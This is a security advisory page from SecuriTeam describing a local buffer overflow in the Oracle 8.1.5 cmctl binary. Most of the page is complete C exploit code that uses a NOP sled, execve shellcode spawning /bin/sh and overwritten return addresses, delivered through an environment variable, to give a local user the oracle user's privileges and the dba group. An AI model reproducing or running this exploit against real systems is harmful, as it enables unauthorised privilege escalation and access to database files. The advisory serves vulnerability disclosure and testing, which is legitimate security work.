SecuriTeam - Buffer overflow vulnerability in Oracle cmctl (exploit code)

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Oracle cmctl is a Connection Manager Control binary. This application contains an exploitable buffer overflow problem that can be use by local users to obtain the privileges of the Oracle user and egid to dba. The oracle user owns all database files in the default installation.

Credit:
The information has been provided by Juan Manuel Pascual.

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Vulnerable systems:
Oracle 8.1.5

Exploit Code:
The following exploit code can be used to test for this vulnerability:

/* Exploit Code for cmctl in Oracle 8.1.5 (8i) for Linux. I tested in RH 6.2
    and 6.1. Is possible to export to others platforms. If someone exports this to
    Sparc please tell me.

    synopsis: buffer overflow in cmctl
    Impact: any user gain euid=oracle and egid=dba.

    Dedicated to cmlc guys: juaroflin, oscar, ismak, blas, blackbas and others. Thanks for your
    patience and time.

    Special Thanks to my favourite DBA. Xavi "de verdad como sois" Morales.
*/

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_OFFSET 1
#define DEFAULT_BUFFER_SIZE 350
#define NOP 0x90
#define BINARY "/usr/local/oracle8i/app/oracle/product/8.1.5/bin/cmctl
echo $pakito"

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

main(int argc, char *argv[]) {
  char *buff, *ptr,*name[3],environ[100],binary[120];
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) offset = atoi(argv[1]);
        else
                {
                printf("Use ./cmctl_start Offset\n");
                exit(1);
                }

  buff = malloc(bsize);
  addr = get_sp() - offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
setenv("pakito",buff,1);

system(BINARY);
}

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